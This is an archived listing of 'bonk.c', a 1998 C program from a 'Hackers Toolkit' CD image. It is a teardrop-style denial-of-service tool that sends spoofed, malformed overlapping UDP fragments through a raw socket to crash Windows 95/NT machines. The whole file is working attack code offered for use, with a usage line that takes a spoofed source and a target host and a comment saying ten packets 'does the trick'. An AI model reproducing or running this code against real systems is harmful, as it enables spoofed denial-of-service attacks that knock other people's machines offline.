home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Unix / c-src / bonk.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  4KB  |  154 lines
  1.  
  2. /*
  3.  
  4.   [ http://www.technotronic.com.com/ ]
  5.  
  6.                                 ==bendi - 1998==
  7.  
  8.                         bonk.c        -         5/01/1998
  9.         Based On: teardrop.c by route|daemon9 & klepto
  10.         Crashes *patched* win95/(NT?) machines.
  11.  
  12.         Basically, we set the frag offset > header length (teardrop
  13.         reversed). There are many theories as to why this works,
  14.         however i do not have the resources to perform extensive testing.
  15.         I make no warranties. Use this code at your own risk.
  16.         Rip it if you like, i've had my fun.
  17.  
  18. */
  19.  
  20. #include <stdio.h>
  21. #include <string.h>
  22.  
  23. #include <netdb.h>
  24. #include <sys/socket.h>
  25. #include <sys/types.h>
  26. #include <netinet/in.h>
  27. #include <netinet/ip.h>
  28. #include <netinet/ip_udp.h>
  29. #include <netinet/protocols.h>
  30. #include <arpa/inet.h>
  31.  
  32. #define FRG_CONST       0x3
  33. #define PADDING         0x1c
  34.  
  35. struct udp_pkt
  36. {
  37.         struct iphdr    ip;
  38.         struct udphdr   udp;
  39.         char data[PADDING];
  40. } pkt;
  41.  
  42. int     udplen=sizeof(struct udphdr),
  43.         iplen=sizeof(struct iphdr),
  44.         datalen=100,
  45.         psize=sizeof(struct udphdr)+sizeof(struct iphdr)+PADDING,
  46.         spf_sck;                        /* Socket */
  47.  
  48. void usage(void)
  49. {
  50.         fprintf(stderr, "Usage: ./bonk <src_addr> <dst_addr> [num]\n");
  51.         exit(0);
  52. }
  53.  
  54. u_long host_to_ip(char *host_name)
  55. {
  56.         static  u_long ip_bytes;
  57.         struct hostent *res;
  58.  
  59.         res = gethostbyname(host_name);
  60.         if (res == NULL)
  61.                 return (0);
  62.         memcpy(&ip_bytes, res->h_addr, res->h_length);
  63.         return (ip_bytes);
  64. }
  65.  
  66. void quit(char *reason)
  67. {
  68.         perror(reason);
  69.         close(spf_sck);
  70.         exit(-1);
  71. }
  72.  
  73. int fondle(int sck, u_long src_addr, u_long dst_addr, int src_prt,
  74.            int dst_prt)
  75. {
  76.         int     bs;
  77.         struct  sockaddr_in to;
  78.  
  79.         memset(&pkt, 0, psize);
  80.                                                 /* Fill in ip header */
  81.         pkt.ip.version = 4;
  82.         pkt.ip.ihl = 5;
  83.         pkt.ip.tot_len = htons(udplen + iplen + PADDING);
  84.         pkt.ip.id = htons(0x455);
  85.         pkt.ip.ttl = 255;
  86.         pkt.ip.protocol = IP_UDP;
  87.         pkt.ip.saddr = src_addr;
  88.         pkt.ip.daddr = dst_addr;
  89.         pkt.ip.frag_off = htons(0x2000);        /* more to come */
  90.  
  91.         pkt.udp.source = htons(src_prt);        /* udp header */
  92.         pkt.udp.dest = htons(dst_prt);
  93.         pkt.udp.len = htons(8 + PADDING);
  94.                                                 /* send 1st frag */
  95.  
  96.         to.sin_family = AF_INET;
  97.         to.sin_port = src_prt;
  98.         to.sin_addr.s_addr = dst_addr;
  99.  
  100.         bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
  101.                 sizeof(struct sockaddr));
  102.  
  103.         pkt.ip.frag_off = htons(FRG_CONST + 1);         /* shinanigan */
  104.         pkt.ip.tot_len = htons(iplen + FRG_CONST);
  105.                                                         /* 2nd frag */
  106.  
  107.         bs = sendto(sck, &pkt, iplen + FRG_CONST + 1, 0,
  108.                 (struct sockaddr *) &to, sizeof(struct sockaddr));
  109.  
  110.         return bs;
  111. }
  112.  
  113. void main(int argc, char *argv[])
  114. {
  115.         u_long  src_addr,
  116.                 dst_addr;
  117.  
  118.         int     i,
  119.                 src_prt=53,
  120.                 dst_prt=53,
  121.                 bs = 1,
  122.                 pkt_count = 10;         /* Default amount */
  123.  
  124.         if (argc < 3)
  125.                 usage();
  126.  
  127.         if (argc == 4)
  128.                 pkt_count = atoi(argv[3]);      /* 10 does the trick */
  129.  
  130.         /* Resolve hostnames */
  131.  
  132.         src_addr = host_to_ip(argv[1]);
  133.         if (!src_addr)
  134.                 quit("bad source host");
  135.         dst_addr = host_to_ip(argv[2]);
  136.         if (!dst_addr)
  137.                 quit("bad target host");
  138.  
  139.         spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  140.         if (!spf_sck)
  141.                 quit("socket()");
  142.         if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
  143.         sizeof(bs)) < 0)
  144.                 quit("IP_HDRINCL");
  145.  
  146.         for (i = 0; i < pkt_count; ++i)
  147.         {
  148.                 fondle(spf_sck, src_addr, dst_addr, src_prt, dst_prt);
  149.                 usleep(10000);
  150.         }
  151.  
  152.         printf("Done.\n");
  153. }
  154.